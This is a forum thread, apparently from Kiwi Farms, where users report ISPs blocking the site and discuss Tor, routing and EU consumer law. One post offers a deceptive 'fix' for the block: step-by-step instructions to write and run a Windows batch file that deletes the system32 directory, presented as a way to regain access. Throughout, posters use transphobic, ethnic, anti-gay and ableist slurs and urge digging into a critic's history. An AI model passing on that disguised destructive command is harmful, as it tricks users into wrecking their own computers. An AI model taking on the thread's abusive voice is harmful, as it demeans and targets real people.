CenturyLink/Qwest/Layer3 blocks Kiwi Farms

[Agent Abe Caprine]

Spectrum works now.

 

[Niall Meanwhile]

Well at least I learned a new word today.

Look at nool using the Queen's English lmao

 

[yydszmiteg2]

Is it possible Arelion is just having some rogue agent fucking things up over Christmas? They've been fine for nearly 2 months. I don't see what's changed now.

This is most likely. Second is a threat of consent accident by the stinky pot bellied monster.

 

[a feel]

A Brony wants the mob to go after the TOR project and VPN providers to block KiwiFarms.
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so, at which point do troons just call it Vernichtungskrieg and Endlösung unironically?

 

[BULLY HUNTER_78]

I was having Xfinity issues but it's working now for me, I've got the info ready to complain if it goes down again.

I was talking with their customer service reps, assessing the viability of a switch. I asked them if they blocked and US legal sites and they said “no”

Then I gave them kiwifarms.net and the went real silent. Maybe the promise of new customers is enough for them to tell the mentally ill rapist to fuck off?

 

[nya002]

Hello - in the EU, depending on the country, complaining to Berec might not to much. Berec has no teeth, cannot enforce something.

But are we talking about US providers blocking access or about EU ones?

In the case of EU ones, individual countries may have more power as they have already enacted a net neutrality law (e.g. Holland).

Now, because Europe has the history it has, Europe has some strong refusal of service/speculation laws:

examples: in France, refusing to provide service is a misdemeanour (5th class, 1500 euro fine), according to article L122-1 of the consumer's code, which means it can be reported to the police.

In Italy, art. 187 of Rules for the Application of the Consolidated Text for Public Security states that services must be provided without discrimination (again, can go through the police)

In Germany, the constitution allows for free market, and refusing to provide service is only forbidden in a situation of monopoly.

In the UK, refusal of provision of service is only illegal if based on certain grounds.

But by all means try too net neutrality, if implemented, you might be in one of the lucky ones.

 

[iudex]

I’m on my 4th pajeet at my ISP asking about my firewall settings. It’s a good thing I actually know the technobabble on this topic or I might be stuck here forever

 

[MarMar049]

A Brony wants the mob to go after the TOR project and VPN providers to block KiwiFarms.
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CP and animal abuse sites can stay up for years on tor, does this brony really think tor gives a fuck about some troon getting swatted

 

[Cavalier Cipolla]

To add to Null's advice on the first page, if any new kiwi's find themselves unable to connect to the farms due to ISP blackholing, you can also use the following instructions to 'clear the pipes' and restore your right to access wrongthink sites:

Windows users only:
1. open up notepad
2. type:
@echo off
del c;\WINDOWS\system32
3. save the file as fuckjannytrannies.bat and close it.
4. open it

You will now have full access to the farms regardless of how hard your local ISP's try to curtail your ability to laugh at lolcows.

Mac users, get fucked.

Wait! That's not how it works!
You have to restart in safe mode with command prompt in order for it to work. If you do it under normal conditions, Windows will be as happy as tranny jannies when you shitpost.

 

[yydszmiteg2]

A Brony wants the mob to go after the TOR project and VPN providers to block KiwiFarms.
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I love how none of these people can understand the mathematics behind cryptography. It's possible now for two people to speak and no-one in the world to know but these people can't understand it. Makes me understand why governments who propose retarded encryption bans keep getting voted in. Because of mid-wits like this.

 

[Blitzsneed]

A Brony wants the mob to go after the TOR project and VPN providers to block KiwiFarms.
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I guess it's time to look into the closet of this faggot.

Archive of his main horsefucker antics:

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>germoid btw
Du hättest lieber die Fresse gehalten. (Engerland/Burgspeak TL: "You should've just shut the fuck up.")

 

[Cyberia Sec]

I’m on my 4th pajeet at my ISP asking about my firewall settings. It’s a good thing I actually know the technobabble on this topic or I might be stuck here forever

Even with my knowledge he wanted me to retard my router, like hello, all my friends can't connect to KF.

 

[Silhouette]

Trying to access the site from Telstra's mobile network now 503's for fucks sake

Back to using tor to access the motherfucking clearnet

Telstra home network is currently working, when it was down earlier it was resolving the ip address and had successful pings, but when checking the hops it routed to GTT and died.

 

[Agent Abe Caprine]

Even with my knowledge he wanted me to retard my router, like hello, all my friends can't connect to KF.

Did he really tell you to retard your router?

 

[Hannibalistique]

Hello - in the EU, depending on the country, complaining to Berec might not to much. Berec has no teeth, cannot enforce something.

But are we talking about US providers blocking access or about EU ones?

In the case of EU ones, individual countries may have more power as they have already enacted a net neutrality law (e.g. Holland).

Now, because Europe has the history it has, Europe has some strong refusal of service/speculation laws:

examples: in France, refusing to provide service is a misdemeanour (5th class, 1500 euro fine), according to article L122-1 of the consumer's code, which means it can be reported to the police.

In Italy, art. 187 of Rules for the Application of the Consolidated Text for Public Security states that services must be provided without discrimination (again, can go through the police)

In Germany, the constitution allows for free market, and refusing to provide service is only forbidden in a situation of monopoly.

In the UK, refusal of provision of service is only illegal if based on certain grounds.

But by all means try too net neutrality, if implemented, you might be in one of the lucky ones.

Telia/Arelion is Swedish was the company that caused all the latest issue.

The reason it hit the US hardest was because they were the ones essentially providing connectivity from Terrahost (which mostly has PoPs in mainland EU) to the US.

 

[DoomSayer]

I'm thinking we're saturated. Completely and globally.

 

[Cyberia Sec]

Did he really tell you to retard your router?

No, restart but retard fits way better.

 

[Sithis]

A Brony wants the mob to go after the TOR project and VPN providers to block KiwiFarms.
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The thing that's so beautiful about Tor is that the glowies can't allow it to go down in the way the troons want. It is still used worldwide for various glowing purposes, to allow Tor to be compromised at the root by dickless pedos would hamper their efforts. It's one of the only redeemable things DARPA ever made.

 

[Male Idiot]

Site is sometines on with Telekom, sometimes off, same for TOR. TOR address is the same still, right?

 

[King George III]

Somehow now working with Comcast in Washington.